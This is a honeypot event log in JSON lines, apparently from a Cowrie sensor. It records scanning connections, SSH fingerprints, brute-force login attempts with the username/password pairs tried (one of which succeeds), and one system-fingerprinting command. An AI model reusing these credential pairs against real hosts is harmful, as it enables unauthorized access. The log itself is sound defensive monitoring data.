{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54858,"dst_ip":"10.17.0.5","dst_port":23,"session":"a51bff9bd733","protocol":"telnet","message":"New connection: 65.60.27.33:54858 (10.17.0.5:23) [session: a51bff9bd733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:46.084804Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54918,"dst_ip":"10.17.0.5","dst_port":23,"session":"9316f8779832","protocol":"telnet","message":"New connection: 65.60.27.33:54918 (10.17.0.5:23) [session: 9316f8779832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:46.213404Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52482,"dst_ip":"10.17.0.5","dst_port":23,"session":"587fe45ee017","protocol":"telnet","message":"New connection: 62.210.97.77:52482 (10.17.0.5:23) [session: 587fe45ee017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:46.479147Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:46.483554Z","src_ip":"176.65.132.254","session":"09a69cde8c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55190,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f50e5e1c127","protocol":"telnet","message":"New connection: 65.60.27.33:55190 (10.17.0.5:23) [session: 8f50e5e1c127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:46.675229Z"}
{"eventid":"cowrie.session.closed","duration":4.917649507522583,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:47.702739Z","src_ip":"38.54.119.93","session":"c6839da1f85d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52488,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b7e8979ee8","protocol":"telnet","message":"New connection: 62.210.97.77:52488 (10.17.0.5:23) [session: 61b7e8979ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:47.995627Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42620,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f423185355","protocol":"ssh","message":"New connection: 176.65.132.254:42620 (10.17.0.5:22) [session: c0f423185355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:48.846905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:48.851280Z","src_ip":"176.65.132.254","session":"c0f423185355","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:49.135669Z","src_ip":"176.65.132.254","session":"c0f423185355","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58034,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9ca9f599d6f","protocol":"telnet","message":"New connection: 62.210.97.77:58034 (10.17.0.5:23) [session: f9ca9f599d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:49.438867Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:49.456385Z","src_ip":"176.65.132.254","session":"c0f423185355","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:50.544958Z","src_ip":"176.65.132.254","session":"c0f423185355","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33264,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fc04b2b8d8f","protocol":"ssh","message":"New connection: 176.65.132.254:33264 (10.17.0.5:22) [session: 9fc04b2b8d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:53.170971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:53.174916Z","src_ip":"176.65.132.254","session":"9fc04b2b8d8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:53.256394Z","src_ip":"176.65.132.254","session":"9fc04b2b8d8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:53.644140Z","src_ip":"176.65.132.254","session":"9fc04b2b8d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.60224175453186,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:53.990971Z","src_ip":"62.210.97.77","session":"d7fec49a00e0","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:54.104212Z","src_ip":"176.65.132.254","session":"9fc04b2b8d8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:54.107145Z","src_ip":"176.65.132.254","session":"9fc04b2b8d8f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:54.191922Z","src_ip":"176.65.132.254","session":"9fc04b2b8d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:54.196393Z","src_ip":"176.65.132.254","session":"9fc04b2b8d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.77384614944458,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:54.513095Z","src_ip":"62.210.97.77","session":"d4b51a296c09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.951988697052,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:54.532106Z","src_ip":"65.60.27.33","session":"eb02331af976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58038,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd59968607f2","protocol":"telnet","message":"New connection: 62.210.97.77:58038 (10.17.0.5:23) [session: bd59968607f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:54.984992Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41968,"dst_ip":"10.17.0.5","dst_port":23,"session":"d06e5fd8a705","protocol":"telnet","message":"New connection: 38.54.119.93:41968 (10.17.0.5:23) [session: d06e5fd8a705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:55.531129Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":36394,"dst_ip":"159.203.135.109","dst_port":22,"session":"27fbe25b1cfb","protocol":"ssh","message":"New connection: 103.189.235.176:36394 (159.203.135.109:22) [session: 27fbe25b1cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:55.912336Z"}
{"eventid":"cowrie.session.closed","duration":32.496774196624756,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:55.918833Z","src_ip":"62.210.97.77","session":"31bafd53723a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:55.927163Z","src_ip":"103.189.235.176","session":"27fbe25b1cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.487072229385376,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:56.072954Z","src_ip":"62.210.97.77","session":"704eeef79bf1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:56.161394Z","src_ip":"103.189.235.176","session":"27fbe25b1cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.808851718902588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:56.525751Z","src_ip":"62.210.97.77","session":"18eb9a3f7c98","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdlkj","message":"login attempt [ubuntu/asdlkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:57.103354Z","src_ip":"103.189.235.176","session":"27fbe25b1cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33282,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ba1820094c9","protocol":"ssh","message":"New connection: 176.65.132.254:33282 (10.17.0.5:22) [session: 0ba1820094c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:57.344290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:57.349116Z","src_ip":"176.65.132.254","session":"0ba1820094c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:57.431106Z","src_ip":"176.65.132.254","session":"0ba1820094c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:57.684821Z","src_ip":"176.65.132.254","session":"0ba1820094c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.478240728378296,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:58.331987Z","src_ip":"62.210.97.77","session":"26f774ef7560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:58.344007Z","src_ip":"103.189.235.176","session":"27fbe25b1cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.48165798187256,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:58.561944Z","src_ip":"62.210.97.77","session":"3e55b076acde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37034,"dst_ip":"159.203.135.109","dst_port":23,"session":"5df61ebf0884","protocol":"telnet","message":"New connection: 134.209.8.29:37034 (159.203.135.109:23) [session: 5df61ebf0884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:58.567032Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:58.772466Z","src_ip":"176.65.132.254","session":"0ba1820094c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.946818113327026,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:59.868735Z","src_ip":"62.210.97.77","session":"7a174da1ff02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37026,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fe5fd473ad1","protocol":"telnet","message":"New connection: 134.209.8.29:37026 (159.203.135.109:23) [session: 1fe5fd473ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:59.980215Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42106,"dst_ip":"10.17.0.5","dst_port":23,"session":"06855e6bda90","protocol":"telnet","message":"New connection: 65.60.27.33:42106 (10.17.0.5:23) [session: 06855e6bda90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:59.988113Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56310,"dst_ip":"10.17.0.5","dst_port":23,"session":"d099df7b24a7","protocol":"telnet","message":"New connection: 62.210.97.77:56310 (10.17.0.5:23) [session: d099df7b24a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:00.687797Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33286,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0d45e9e33ef","protocol":"ssh","message":"New connection: 176.65.132.254:33286 (10.17.0.5:22) [session: c0d45e9e33ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:01.371629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:01.379089Z","src_ip":"176.65.132.254","session":"c0d45e9e33ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:01.461653Z","src_ip":"176.65.132.254","session":"c0d45e9e33ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:01.720894Z","src_ip":"176.65.132.254","session":"c0d45e9e33ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:02.807598Z","src_ip":"176.65.132.254","session":"c0d45e9e33ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56312,"dst_ip":"10.17.0.5","dst_port":23,"session":"fea393dfff69","protocol":"telnet","message":"New connection: 62.210.97.77:56312 (10.17.0.5:23) [session: fea393dfff69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:03.726711Z"}
{"eventid":"cowrie.session.closed","duration":31.438695430755615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:04.401063Z","src_ip":"62.210.97.77","session":"5c5bb27c2ab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56320,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5bdbb844530","protocol":"telnet","message":"New connection: 62.210.97.77:56320 (10.17.0.5:23) [session: d5bdbb844530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:04.800828Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47632,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d0d6fa2b54a","protocol":"telnet","message":"New connection: 65.60.27.33:47632 (10.17.0.5:23) [session: 1d0d6fa2b54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:04.827607Z"}
{"eventid":"cowrie.session.closed","duration":32.15641403198242,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:04.994137Z","src_ip":"62.210.97.77","session":"f0f5be18f59c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56334,"dst_ip":"10.17.0.5","dst_port":23,"session":"9697c4896637","protocol":"telnet","message":"New connection: 62.210.97.77:56334 (10.17.0.5:23) [session: 9697c4896637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:05.243734Z"}
